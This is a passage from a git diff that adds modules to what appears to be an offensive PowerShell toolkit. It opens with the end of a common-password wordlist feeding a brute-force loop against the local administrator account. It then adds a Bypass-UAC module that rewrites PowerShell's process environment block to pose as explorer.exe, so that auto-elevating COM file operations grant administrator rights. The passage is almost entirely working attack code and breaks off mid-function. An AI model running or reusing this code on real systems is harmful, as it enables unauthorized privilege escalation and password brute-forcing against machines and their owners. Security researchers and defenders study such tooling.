assword77','password7','password77','password8','password85','password87','password9','password90','password91','password92','password93','password94','password95','password96','passwordpassword','passwords','Passworfd3','pastor','patoclero','patricia','patrick','paul','paulis','pavilion','Pa$$w0rd!','Pa$$w0rd1','Pa$$w0rd2012','Pa$$w0rd2013','Pa$$w0rd2014','$Pa55w0rd$','Pa$$word11111111','peace','peaches','peanut','pelirroja','pendejo','penis','pepper','pericles','perkele','perlita','perros','petalo','peter','phantom','phoenix','phpbb','pierre','piff','piolin','pirate','piscis','playboy','player','please','poetry','pokemon','poohbear1','pookie','poonam','popeye','porn','porno','porque','porsche','power','praise','prayer','presario','pretty','prince','princesa','princess','princess1','print','private','public','pukayaco14','pulgas','purple','pussies','pussy','pw123','q1w2e3','qazwsx','qazwsxedc','qosqomanta','qqqqq','qwe123','qweasd','qweasdzxc','qweewq','qwert','qwerty','qwerty1','qwerty12','qwerty80','qwertyui','qwewq','rabbit','rachel','racing','rafael','rafaeltqm','raiders','rainbow','rallitas','random','ranger','rangers','rapture','realmadrid','rebecca','redskins','redsox','redwings','rejoice','replicate','republica','requiem','rghy1234','rhayes','ricardo','richard','robert','roberto','rock','rocket','romantico','ronaldo','ronica','root','root123','rootroot','rosario','rosebud','rosita','runner','rush2112','russia','sabrina','sakura','salasana','salou25','salvation','samantha','sammy','sample','samson','samsung','samuel22','sandra','santiago','santos','sarita','saturn','scooby','scooby1','scooter','scorpio','scorpion','scott','seagate','sebastian','secret','secure','security','septiembre','sergio','servando','server','service','sestosant','sexsex','sexy','shadow','shadow1','shalom','shannon','share','shaved','shit','shorty1','sierra','silver','sinegra','sister12','skippy','slayer','slipknot','slipknot666','slut','smith','smokey','snoopy','snoopy1','snowfall','soccer','soccer1','soccer2','soledad','sonrisa','sony','sophie','soto','soyhermosa','spanky','sparky','spider','spirit','sql','sqlexec','squirt','srinivas','star','stars','startrek','starwars','steelers','steve','steven','sticky','student','stupid','success','suckit','sudoku','summer','Summer','summer1','sunshine','super','superman','superman1','superuser','supervisor','surfer','susana','swhite','swimming','sydney','system','taylor','taylor1','teacher','teens','tekila','telefono','temp!','temp','temp123','temporary','temptemp','tenerife','tennis','tequiero','teresa','test!','test','test123','tester','testing','testtest','thebest','theman','therock','thomas','thunder','thx1138','tierno','tiffany','tiger','tigers','tigger','tigger1','time','timosha','timosha123','tinkerbell','titimaman','titouf59','tits','tivoli','tobias','tomcat','toor','topgun','toyota','travis','trinity','trouble','trustno1','tucker','turtle','tweety','tweety1','twitter','tybnoq','underworld','unicornio','united','universidad','unknown','vagina','valentina','valentinchoque','valeverga','veracruz','veritas','veronica','victor','victoria','victory','video','viking','viper','virus','voodoo','voyager','walter','warrior','web','welcome','welcome123','westside','whatever','white','wiesenhof','william','william1','willie','willow','wilson','windows','winner','winston','winter','Winter','wizard','wolf','women','work123','worship','writer','writing','www','xanadu','xavier','ximena','ximenita','xxx','xxxx','xxxxx','xxxxxx','xxxxxxxx','yamaha','yankee','yankees','yankees1','yellow','yeshua','yoteamo','young','ysrmma','zapato','zirtaeb','zxccxz','zxcvb','zxcvbn','zxcvbnm','zxcxz','zxczxc','zzzzz','zzzzzz') + $counter = 0 + Write-Output "[+] Running brute-force against the local administrator account" + foreach ($password in $allpasswords) + { + $counter++ + $result = Test-LocAdminCred $username $password + if ($result.IsValid -eq 'True'){ + $break = $true + } + if ($break -eq 'True'){break} + } + Write-Output "[+] Brute-force finished`n" + $result +} \ No newline at end of file diff --git a/Modules/Bypass-UAC.ps1 b/Modules/Bypass-UAC.ps1 new file mode 100644 index 0000000..f75e718 --- /dev/null +++ b/Modules/Bypass-UAC.ps1 @@ -0,0 +1,1558 @@ +function Bypass-UAC { +<# +.SYNOPSIS +Bypass-UAC provides a framework to perform UAC bypasses based on auto +elevating IFileOperation COM object method calls. This is not a new +technique, traditionally, this is accomplished by injecting a DLL into +"explorer.exe". This is not desirable because injecting into +explorer may trigger security alerts and working with unmanaged DLL's +makes for an inflexible work-flow. + +To get around this, Bypass-UAC implements a function which rewrites +PowerShell's PEB to give it the appearance of "explorer.exe". This +provides the same effect because COM objects exclusively rely on Windows's +Process Status API (PSAPI) which reads the process PEB. + +#-------------------# +# Supported Methods # +#-------------------# + ++ UacMethodSysprep: x32/x64 Win7-Win8 ++ ucmDismMethod: x64 Win7+ (unpatched, tested up to 10RS2 14926) ++ UacMethodMMC2: x64 Win7+ (unpatched, tested up to 10RS2 14926) ++ UacMethodTcmsetup: x32/x64 Win7-10 (UAC "0day" ?_(?)_/? ++ UacMethodNetOle32: x32/x64 Win7-10 (UAC "0day" ?_(?)_/? + +.DESCRIPTION +Author: Ruben Boonen (@FuzzySec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + +.PARAMETER Method + +Switch array of supported methods. + +.PARAMETER CustomDll + +Absolute path to custom proxy DLL. If not provided, the embedded Yamabiko +DLL is used. + +.EXAMPLE +C:\PS> Bypass-UAC -Method UacMethodSysprep + +.EXAMPLE +C:\PS> Bypass-UAC -Method ucmDismMethod -CustomDll C:\Users\b33f\Desktop\cmd.dll +#> + param( + [Parameter(Mandatory = $True)] + [ValidateSet('UacMethodSysprep','ucmDismMethod','UacMethodMMC2','UacMethodTcmsetup','UacMethodNetOle32')] + [String]$Method, + [Parameter(Mandatory = $False)] + [String]$CustomDll = $null + ) + + #--------------- + # PSReflect => reflect all the things! + # https://github.com/mattifestation/PSReflect/blob/master/PSReflect.psm1 + #--------------- + function New-InMemoryModule + { + <# + .SYNOPSIS + + Creates an in-memory assembly and module + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + When defining custom enums, structs, and unmanaged functions, it is + necessary to associate to an assembly module. This helper function + creates an in-memory module that can be passed to the 'enum', + 'struct', and Add-Win32Type functions. + + .PARAMETER ModuleName + + Specifies the desired name for the in-memory assembly and module. If + ModuleName is not provided, it will default to a GUID. + + .EXAMPLE + + $Module = New-InMemoryModule -ModuleName Win32 + #> + + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $AppDomain = [Reflection.Assembly].Assembly.GetType('System.AppDomain').GetProperty('CurrentDomain').GetValue($null, @()) + $LoadedAssemblies = $AppDomain.GetAssemblies() + + foreach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = $AppDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder + } + + + # A helper function used to reduce typing while defining function + # prototypes for Add-Win32Type. + function func + { + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [string] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [String] + $EntryPoint, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + if ($EntryPoint) { $Properties['EntryPoint'] = $EntryPoint } + + New-Object PSObject -Property $Properties + } + + + function Add-Win32Type + { + <# + .SYNOPSIS + + Creates a .NET type for an unmanaged Win32 function. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: func + + .DESCRIPTION + + Add-Win32Type enables you to easily interact with unmanaged (i.e. + Win32 unmanaged) functions in PowerShell. After providing + Add-Win32Type with a function signature, a .NET type is created + using reflection (i.e. csc.exe is never called like with Add-Type). + + The 'func' helper function can be used to reduce typing when defining + multiple function definitions. + + .PARAMETER DllName + + The name of the DLL. + + .PARAMETER FunctionName + + The name of the target function. + + .PARAMETER EntryPoint + + The DLL export function name. This argument should be specified if the + specified function name is different than the name of the exported + function. + + .PARAMETER ReturnType + + The return type of the function. + + .PARAMETER ParameterTypes + + The function parameters. + + .PARAMETER NativeCallingConvention + + Specifies the native calling convention of the function. Defaults to + stdcall. + + .PARAMETER Charset + + If you need to explicitly call an 'A' or 'W' Win32 function, you can + specify the character set. + + .PARAMETER SetLastError + + Indicates whether the callee calls the SetLastError Win32 API + function before returning from the attributed method. + + .PARAMETER Module + + The in-memory module that will host the functions. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER Namespace + + An optional namespace to prepend to the type. Add-Win32Type defaults + to a namespace consisting only of the name of the DLL. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' + $Kernel32 = $Types['kernel32'] + $Ntdll = $Types['ntdll'] + $Ntdll::RtlGetCurrentPeb() + $ntdllbase = $Kernel32::GetModuleHandle('ntdll') + $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + + .NOTES + + Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + + When defining multiple function prototypes, it is ideal to provide + Add-Win32Type with an array of function signatures. That way, they + are all incorporated into the same in-memory module. + #> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [String] + $EntryPoint, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + foreach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + $EntryPointField = $DllImport.GetField('EntryPoint') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + if ($PSBoundParameters['EntryPoint']) { $ExportedFuncName = $EntryPoint } else { $ExportedFuncName = $FunctionName } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, + $CallingConventionField, + $CharsetField, + $EntryPointField), + [Object[]] @($SLEValue, + ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), + ([Runtime.InteropServices.CharSet] $Charset), + $ExportedFuncName)) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + foreach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } + } + + + function psenum + { + <# + .SYNOPSIS + + Creates an in-memory enumeration for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + The 'psenum' function facilitates the creation of enums entirely in + memory using as close to a "C style" as PowerShell will allow. + + .PARAMETER Module + + The in-memory module that will host the enum. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the enum. + + .PARAMETER Type + + The type of each enum element. + + .PARAMETER EnumElements + + A hashtable of enum elements. + + .PARAMETER Bitfield + + Specifies that the enum should be treated as a bitfield. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 + } + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Enum. :P + #> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + foreach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() + } + + + # A helper function used to reduce typing while defining struct + # fields. + function field + { + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } + } + + + function struct + { + <# + .SYNOPSIS + + Creates an in-memory struct for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: field + + .DESCRIPTION + + The 'struct' function facilitates the creation of structs entirely in + memory using as close to a "C style" as PowerShell will allow. Struct + fields are specified using a hashtable where each field of the struct + is comprosed of the order in which it should be defined, its .NET + type, and optionally, its offset and special marshaling attributes. + + One of the features of 'struct' is that after your struct is defined, + it will come with a built-in GetSize method as well as an explicit + converter so that you can easily cast an IntPtr to the struct without + relying upon calling SizeOf and/or PtrToStructure in the Marshal + class. + + .PARAMETER Module + + The in-memory module that will host the struct. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the struct. + + .PARAMETER StructFields + + A hashtable of fields. Use the 'field' helper function to ease + defining each field. + + .PARAMETER PackingSize + + Specifies the memory alignment of fields. + + .PARAMETER ExplicitLayout + + Indicates that an explicit offset for each field will be specified. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C + } + + $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 + } + + # Example of using an explicit layout in order to create a union. + $TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 + } -ExplicitLayout + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Struct. :P + #> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $StructFields, + + [Reflection.Emit.PackingSize] + $PackingSize = [Reflection.Emit.PackingSize]::Unspecified, + + [Switch] + $ExplicitLayout + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + [Reflection.TypeAttributes] $StructAttributes = 'AnsiClass, + Class, + Public, + Sealed, + BeforeFieldInit' + + if ($ExplicitLayout) + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout + } + else + { + $StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout + } + + $StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize) + $ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + $SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst')) + + $Fields = New-Object Hashtable[]($StructFields.Count) + + # Sort each field according to the orders specified + # Unfortunately, PSv2 doesn't have the luxury of the + # hashtable [Ordered] accelerator. + foreach ($Field in $StructFields.Keys) + { + $Index = $StructFields[$Field]['Position'] + $Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]} + } + + foreach ($Field in $Fields) + { + $FieldName = $Field['FieldName'] + $FieldProp = $Field['Properties'] + + $Offset = $FieldProp['Offset'] + $Type = $FieldProp['Type'] + $MarshalAs = $FieldProp['MarshalAs'] + + $NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public') + + if ($MarshalAs) + { + $UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType]) + if ($MarshalAs[1]) + { + $Size = $MarshalAs[1] + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, + $UnmanagedType, $SizeConst, @($Size)) + } + else + { + $AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType)) + } + + $NewField.SetCustomAttribute($AttribBuilder) + } + + if ($ExplicitLayout) { $NewField.SetOffset($Offset) } + } + + # Make the struct aware of its own size. + # No more having to call [Runtime.InteropServices.Marshal]::SizeOf! + $SizeMethod = $StructBuilder.DefineMethod('GetSize', + 'Public, Static', + [Int], + [Type[]] @()) + $ILGenerator = $SizeMethod.GetILGenerator() + # Thanks for the help, Jason Shirk! + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type]))) + $ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret) + + # Allow for explicit casting from an IntPtr + # No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure! + $ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit', + 'PrivateScope, Public, Static, HideBySig, SpecialName', + $StructBuilder, + [Type[]] @([IntPtr])) + $ILGenerator2 = $ImplicitConverter.GetILGenerator() + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Type].GetMethod('GetTypeFromHandle')) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call, + [Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type]))) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder) + $ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret) + + $StructBuilder.CreateType() + } + + #--------------- + # Win32 Definitions + #--------------- + + $Module = New-InMemoryModule -ModuleName UACalamity + + $UNICODE_STRING = struct $Module UNICODE_STRING @{ + Length = field 0 UInt16 + MaximumLength = field 1 UInt16 + Buffer = field 2 IntPtr + } + + $LIST_ENTRY = struct $Module _LIST_ENTRY @{ + Flink = field 0 IntPtr + Blink = field 1 IntPtr + } + + $PROCESS_BASIC_INFORMATION = struct $Module _PROCESS_BASIC_INFORMATION @{ + ExitStatus = field 0 IntPtr + PebBaseAddress = field 1 IntPtr + AffinityMask = field 2 IntPtr + BasePriority = field 3 IntPtr + UniqueProcessId = field 4 UIntPtr + InheritedFromUniqueProcessId = field 5 IntPtr + } + + # Partial PEB + $PEB = struct $Module _PEB @{ + Ldr32 = field 0 IntPtr -Offset 12 + ProcessParameters32 = field 1 IntPtr -Offset 16 + Ldr64 = field 2 IntPtr -Offset 24 + FastPebLock32 = field 3 IntPtr -Offset 28 + ProcessParameters64 = field 4 IntPtr -Offset 32 + FastPebLock64 = field 5 IntPtr -Offset 56 + } -ExplicitLayout + + # Partial _PEB_LDR_DATA + $PEB_LDR_DATA = struct $Module _PEB_LDR_DATA @{ + Length = field 0 UInt32 + Initialized = field 1 Byte + SsHandle = field 2 IntPtr + InLoadOrderModuleList = field 3 $LIST_ENTRY + InMemoryOrderModuleList = field 4 $LIST_ENTRY + InInitializationOrderModuleList = field 5 $LIST_ENTRY + EntryInProgress = field 6 IntPtr + } + + # Partial _LDR_DATA_TABLE_ENTRY + $LDR_DATA_TABLE_ENTRY = struct $Module _LDR_DATA_TABLE_ENTRY @{ + InLoadOrderLinks = field 0 $LIST_ENTRY + InMemoryOrderLinks = field 1 $LIST_ENTRY + InInitializationOrderLinks = field 2 $LIST_ENTRY + DllBase = field 3 IntPtr + EntryPoint = field 4 IntPtr + SizeOfImage = field 5 UInt32 + FullDllName = field 6 $UNICODE_STRING + BaseDllName = field 7 $UNICODE_STRING + } + + $FunctionDefinitions = @( + + (func kernel32 VirtualProtectEx ([Byte]) @( + [IntPtr], # hProcess + [IntPtr], # lpAddress + [UInt32], # dwSize + [UInt32], # flNewProtect + [UInt32].MakeByRefType() # lpflOldProtect + )), + + (func kernel32 WriteProcessMemory ([Byte]) @( + [IntPtr], # hProcess + [IntPtr], # lpBaseAddress + [IntPtr], # lpBuffer + [UInt32], # nSize + [UInt32].MakeByRefType() # lpNumberOfBytesWritten + )), + + (func ntdll NtQueryInformationProcess ([Int]) @( + [IntPtr], # hProcess + [Int], # lpBaseAddress + $PROCESS_BASIC_INFORMATION.MakeByRefType(), # lpBuffer + [Int], # nSize + [Int].MakeByRefType() # lpNumberOfBytesWritten + )), + + (func ntdll RtlEnterCriticalSection ([Void]) @( + [IntPtr] # lpCriticalSection + )), + + (func ntdll RtlLeaveCriticalSection ([Void]) @( + [IntPtr] # lpCriticalSection + )) + + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Module -Namespace 'Win32' + $Kernel32 = $Types['kernel32'] + $NtDll = $Types['ntdll'] + + #--------------- + # Masquerade-PEB + #--------------- + + function Masquerade-PEB { + <# + .SYNOPSIS + Masquerade-PEB uses NtQueryInformationProcess to get a handle to powershell's + PEB. From there it replaces a number of UNICODE_STRING structs in memory to + give powershell the appearance of a different process. Specifically, the + function will overwrite powershell's "ImagePathName" & "CommandLine" in + _RTL_USER_PROCESS_PARAMETERS and the "FullDllName" & "BaseDllName" in the + _LDR_DATA_TABLE_ENTRY linked list. + + This can be useful as it would fool any Windows work-flows which rely solely + on the Process Status API to check process identity. A practical example would + be the IFileOperation COM Object which can perform an elevated file copy if it + thinks powershell is really explorer.exe ;)! + + Notes: + * Works on x32/64. + + * Most of these API's and structs are undocumented. I strongly recommend + @rwfpl's terminus project as a reference guide! + + http://terminus.rewolf.pl/terminus/ + + * Masquerade-PEB is basically a reimplementation of two functions in UACME + by @hFireF0X. My code is quite different because, unfortunately, I don't + have access to all those c++ goodies and I could not get a callback for + LdrEnumerateLoadedModules working! + + supMasqueradeProcess: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L504 + + supxLdrEnumModulesCallback: https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c#L477 + + .DESCRIPTION + Author: Ruben Boonen (@FuzzySec) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .EXAMPLE + C:\PS> Masquerade-PEB -BinPath "C:\Windows\explorer.exe" + #> + + param ( + [Parameter(Mandatory = $True)] + [string]$BinPath + ) + + if ([System.IntPtr]::Size -eq 4) { + $x32Architecture = 1 + } + + # Current Proc handle + $ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle + + # Helper function to overwrite UNICODE_STRING structs in memory + function Emit-UNICODE_STRING { + param( + [IntPtr]$hProcess, + [IntPtr]$lpBaseAddress, + [UInt32]$dwSize, + [String]$data + ) + + # Set access protections -> PAGE_EXECUTE_READWRITE + [UInt32]$lpflOldProtect = 0 + $CallResult = $Kernel32::VirtualProtectEx($hProcess, $lpBaseAddress, $dwSize, 0x40, [ref]$lpflOldProtect) + + # Create replacement struct + $UnicodeObject = [Activator]::CreateInstance($UNICODE_STRING) + $UnicodeObject_Buffer = $data + [UInt16]$UnicodeObject.Length = $UnicodeObject_Buffer.Length*2 + [UInt16]$UnicodeObject.MaximumLength = $UnicodeObject.Length+1 + [IntPtr]$UnicodeObject.Buffer = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($UnicodeObject_Buffer) + [IntPtr]$InMemoryStruct = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($dwSize) + [system.runtime.interopservices.marshal]::StructureToPtr($UnicodeObject, $InMemoryStruct, $true) + + # Overwrite PEB UNICODE_STRING struct + [UInt32]$lpNumberOfBytesWritten = 0 + $CallResult = $Kernel32::WriteProcessMemory($hProcess, $lpBaseAddress, $InMemoryStruct, $dwSize, [ref]$lpNumberOfBytesWritten) + + # Free $InMemoryStruct + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($InMemoryStruct) + } + + # Process Basic Information + $_PROCESS_BASIC_INFORMATION = [Activator]::CreateInstance($PROCESS_BASIC_INFORMATION) + $ReturnLength = New-Object Int + $CallResult = $NtDll::NtQueryInformationProcess($ProcHandle, 0, [ref]$_PROCESS_BASIC_INFORMATION, $PROCESS_BASIC_INFORMATION::GetSize(), [ref]$ReturnLength) + + # PID & PEB address + #echo "[?] PID $($_PROCESS_BASIC_INFORMATION.UniqueProcessId)" + if ($x32Architecture) { + echo "[+] PebBaseAddress: 0x$("{0:X8}" -f $_PROCESS_BASIC_INFORMATION.PebBaseAddress.ToInt32())" + } else { + echo "[+] PebBaseAddress: 0x$("{0:X16}" -f 